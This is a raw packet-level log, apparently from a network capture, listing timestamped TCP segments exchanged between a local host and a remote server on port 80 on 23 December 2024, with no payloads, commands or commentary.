Dec 23, 2024 08:15:53.585278034 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.585319042 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.585355997 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.585449934 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.585951090 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.586008072 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.586057901 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.586076021 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.586148024 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.586241961 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.586695910 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.586795092 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.586833000 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.586962938 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.587001085 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.587071896 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.640585899 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.640605927 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.640619993 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.640794039 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.640808105 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.640841961 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.640846014 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.640846014 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.640856981 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.641659021 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.641681910 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.641705990 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.641719103 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.641724110 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.641724110 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.641995907 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.642014027 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.642465115 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.642478943 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.642492056 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.642520905 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.642520905 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.643249989 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.643264055 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.643279076 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.643294096 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.643322945 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.643322945 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.643950939 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.643969059 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.644011974 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.644026041 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.644058943 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.644058943 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.644752979 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.644768000 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.644817114 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.644829988 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.644855022 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.644855022 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.693283081 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.693331957 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.693346024 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.693411112 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.693411112 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.693521023 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.693600893 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.693690062 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.693726063 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.693756104 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.693768024 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.693825006 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.693886995 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.693933964 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.694479942 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.694534063 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.694549084 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.694580078 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.694675922 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.694744110 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.695353031 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.695369005 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.695382118 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.695426941 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.695491076 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.695602894 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.696042061 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.696122885 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.696135044 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.696167946 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.696368933 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.696419954 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.768378973 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.768393040 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.768404007 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.768485069 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.768553019 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.768615961 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.768695116 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.768757105 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.768769979 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.768832922 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.768904924 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.768959999 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.769501925 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.769542933 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.769555092 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.770008087 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.770020008 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.770226002 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.770339012 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.770355940 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.770368099 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.770482063 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.770616055 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.770688057 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.771099091 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.771130085 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.771142006 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.771190882 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.771325111 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.771425962 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.771893978 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.771915913 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.771920919 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.772140980 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.772157907 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.772726059 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.772737980 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.772748947 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.772778034 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.772778034 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.773020029 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.773163080 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.773492098 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.773504972 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.773518085 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.773576975 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.773643970 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.773689032 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.774219036 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.774322033 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.774327993 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.774380922 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.774481058 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.774538040 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.775074005 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.775130987 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.775144100 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.775186062 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.775350094 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.775724888 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.775887012 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.775901079 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.775913954 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.775937080 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.776072025 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.776137114 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.776628017 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.776710033 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.776724100 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.776833057 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.776834965 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.776940107 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.777466059 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.777477980 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.777491093 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.777525902 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.777662039 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.777803898 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.778184891 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.778255939 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.778270006 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.778410912 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.778417110 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.778618097 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.779031992 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.779045105 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.779057026 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.779103994 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.779180050 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.779333115 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.834274054 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.834286928 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.834300041 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.834389925 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.834407091 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.834422112 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.834434986 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.834448099 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.834450006 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.834553957 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.834829092 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.834841967 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.834856033 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.834870100 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.834918976 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.834918976 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.835010052 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.835089922 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.835103989 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.835148096 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.835148096 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.835218906 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.835232019 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.835427999 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.835624933 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.835638046 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.835654020 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.835814953 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.835825920 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.836065054 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.836438894 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.836451054 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.836467981 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.836690903 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.836699963 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.836965084 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.837173939 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.837215900 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.837227106 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.837265968 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.881891966 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.885514021 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.885528088 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.885540009 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.885638952 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.885646105 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.885685921 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.885698080 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.885714054 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.885834932 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.885842085 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.886447906 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.886465073 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.886478901 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.886480093 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.886868000 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.886879921 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.887239933 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.887252092 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.887264013 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.887351990 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.887351990 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.887965918 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.887978077 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.888044119 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.888056040 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.888286114 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.888412952 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.888412952 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.888770103 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.888819933 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.888834953 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.928744078 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.960457087 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.960505009 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.960516930 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.960666895 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.960675001 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.960712910 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.960756063 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.960767031 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.960838079 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.960892916 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.961467981 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.961539030 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.961564064 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.961575985 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.961652040 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.962011099 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.962183952 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.962234974 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.962281942 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.962295055 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.962410927 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.962769985 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.963013887 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.963097095 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.963107109 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.963200092 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.963200092 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.963226080 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.963789940 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.963870049 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.963881969 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.963932037 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.963932037 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.964026928 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.964606047 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.964687109 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.964699984 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.964730024 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.964730024 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.964823961 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.965383053 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.965440035 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.965451956 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.965569019 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.965686083 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.965686083 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.966166019 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.966244936 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.966244936 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.966259956 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.966386080 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.966489077 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.966959953 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.967012882 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.967032909 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.967045069 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.967175007 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.967344999 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.967778921 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.967825890 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.967849970 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.967861891 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.967961073 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.967977047 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.968566895 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.968637943 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.968650103 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.968664885 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.968779087 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.969347954 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.969400883 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.969413042 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.969557047 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.970191002 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.970235109 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.970246077 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.970280886 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.970280886 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.970280886 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.970280886 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.970380068 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.970501900 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.970910072 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.970978022 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.970990896 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.971098900 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.971365929 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.971365929 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.971731901 CET	80	49763	185.215.113.16	192.168.2.10
